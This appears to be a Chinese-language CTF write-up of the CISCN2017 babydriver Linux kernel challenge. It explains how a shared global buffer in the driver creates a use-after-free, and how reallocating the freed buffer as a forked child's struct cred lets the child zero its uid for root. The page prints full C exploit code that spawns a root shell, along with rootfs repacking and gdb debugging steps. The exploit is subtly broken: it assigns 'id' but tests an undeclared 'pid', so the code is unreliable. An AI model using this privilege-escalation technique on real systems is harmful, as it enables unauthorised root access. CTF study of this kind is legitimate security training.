# kernel exploit practice: uaf ###### tags: `exploitation` 一題在 ctf-wiki 當作範例的 kernel use after free 題目,做完之後覺得也不是很難,但很多東西沒摸過要弄出來滿有挑戰性的 [題目](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver)和[解法](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_uaf-zh/) ctf-wiki 都有,我就附個網址 ## 分析 ### extract cpio 其實放題目的 repo 內已經有 babydriver.ko 了,不過為了要多學一點東西,我們還是按步驟來 1. create a folder: ```bash mkdir fs ``` 2. move rootfs.cpio to fs and rename to rootfs.cpio.gz: ```bash cd fs; mv ../rootfs.cpio ./rootfs.cpio.gz ``` 3. extract by gunzip: ```bash gunzip ./rootfs.cpio.gz ``` 4. extract by cpio: ```bash cpio -idmv < rootfs.cpio ``` 之前找了一堆 cpio 解壓縮的方法都會出現亂碼,結果看了 ctk-wiki 上面的操作就好了....這啥鬼做法? ### 分析 init 有了整個 file system ,可以看一下 kernel 啟動後會幹嘛,主要是透過 init 這個 script: ```bash=+ mount -t proc none /proc mount -t sysfs none /sys mount -t devtmpfs devtmpfs /dev chown root:root flag chmod 400 flag exec 0</dev/console exec 1>/dev/console exec 2>/dev/console insmod /lib/modules/4.4.72/babydriver.ko chmod 777 /dev/babydev echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" setsid cttyhack setuidgid 1000 sh umount /proc umount /sys poweroff -d 0 -f ``` 可以看到 line 10 把 driver 給 load 起來,除此之外好像沒啥特別的 ### 分析 babydriver.ko 老樣子用 ida 來分析 由於前兩個實驗都是自己寫 driver 然後自己 pwn ,所以我其實沒用 IDA 分析過 driver 的經驗...,這次算是不錯的體驗 可以看到裡面的 function  init 和 exit 不用多說,前者是 insmod 把 module load 進 kernel 會跑的 function ,後者則是 rmmod 會跑的,那其他的呢? 我第一個遇到的問題就是不知道 function 呼叫先後順序,其實這個 driver 裡面的 function 比較像是用來呼叫的 API (其他 driver 我不敢亂說XD) char device driver 提供一系列跟 file 類似操作,換句話說可以對這個 device 做 open, read, write 等等操作,原理是 char device driver 裡面有個結構 fops 放各種操作的 function pointer ,在 init 時就透過 chdev_init 注冊 fops ,當使用 open(/path/to/driver, 2); 就會去 fops 裡面跟 open 做對應的是哪個 function 再呼叫 可以看到控制 device 的 babyioctl 定義了 0x10001 的命令,具體來說就是 ```c= if ( (_DWORD)command == 0x10001 ) { kfree(babydev_struct.device_buf); LODWORD(v5) = _kmalloc(sz, 0x24000C0LL); babydev_struct.device_buf = (char *)v5; babydev_struct.device_buf_len = sz; printk("alloc done\n"); result = 0LL; ``` 可以簡單想成在 kernel 內申請任意大小的 memory 另外 babywrite, babyread 則分別透過 copy_from_user(從 user 複製資料進到 kernel) 和 copy_to_user(反向操作)達成 另外看到 release ,猜測應該是對應的 close 部分,就是簡單的 kfree 而已 ## 利用 一個 device driver load 到 kernel ,則整個 kernel 裡面就只有這個 process ,不論有幾個程式去使用這個 device 都只有一個 device driver 在工作,所以資源也是共享的,我一開始以為是數個程式工作會將資源區隔開來 babydriver.ko 裡面有一個 babydev_struct 結構體,最重要的是他是**全域變數** 假若有兩個程式同時跟 babydriver 互動,兩者用的 babydev_struct 是同一個,這就會出現一個問題: 程式 A free 掉 babydev_struct 中的 buf 後程式 B 依然能讀取寫入 babydev_struct 中的 buf,這邊就出現了一個 uaf 漏洞 > 當然未必要兩個程式,一個程式 open 兩次也是一樣 > 要如何利用這個 uaf 呢?按照老套路肯定是要修改 struct cred 內的 uid gid 等變數,而一個程式剛生出來的時候也會需要申請一塊空間來存放該結構,那就很清楚了: 1. 開啟兩個 fd 跟 device 交互 (因為要 uaf) 2. 對 fd1 用 ioctl 要一塊 struct cred 同樣大小的空間 A 3. close 其中一個 fd1 ,因為 babyrelease 的關係,剛剛分出來的空間 A 會 kfree() 掉,但另一個 fd 仍然可以讀寫 (uaf) 4. 透過 fork() 來弄出新的 process , kernel 會從剛剛 free 掉的空間拿找一個符合大小的裝 struct cred ,也就是空間 A (size: 0xa8) 5. parent 可以放著不用管, child 的部分透過 fd2 對 babydev_struct.buf write 一堆 0 (改寫 uid 來提權) > 我想了下 parent 可不可以提權,思考後覺得不妥,因為若由 parent 改寫 struct cred , child 要弄出 shell 的時間很難抓,倒不如由 child 自己改寫後再開 shell 來的簡單 7. 透過 getuid() 判斷是否為 root ,是的話就彈 shell 出來 exploit: ```c= #include <unistd.h> #include <sys/types.h> #include <fcntl.h> #include <sys/wait.h> #include <stdlib.h> #include <stdio.h> int main() { int fd1 = open("/dev/babydev", O_RDWR); int fd2 = open("/dev/babydev", O_RDWR); ioctl(fd1, 0x10001, 0xa8); close(fd1); pid_t id = fork(); if(pid) wait(NULL); else if(!pid) { char zeros[30] = {0}; write(fd2, zeros, 28); if(getuid() == 0) { system("/bin/sh"); exit(0); } } else { puts("something wrong"); } close(fd2); return 0; } ``` 寫好並用 static 編譯好後將執行檔放入 file system ,在 file system 根目錄下用以下命令打包: ```bash find . | cpio -o --format=newc | gzip -9 > ../rootfs.cpio ``` 再用 boot.sh 啟動即可 ## 坑點 ### Debug 嚴格來說不太能算是一個完整的 debug ,畢竟我沒看到最後,但 debug 過程中我遇到一些問題: * qemu 用 -S -s arg ,再用 gdb remote 連上後會出現 reply packet too long .... 之類的錯誤: 我找了一下發現是由於 qemu 讓 gdb remote 連上去的時候還是 protected mode 但最後是 64bit 也就是 long mode , gdb 卻沒跟著修改導致,解決方法: * 修改 gdb source code 並重新編譯 * 連上去進到 long mode 後 disconnect 重新設定 arch 為 i386:x86-64 再重新連上去 ### text address 因為想著要 debug 必須 add-symbol-file 然後要給 text address , text address 可以透過 lsmod 或是 /sys/modules/babydriver/sections/.text 獲得
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up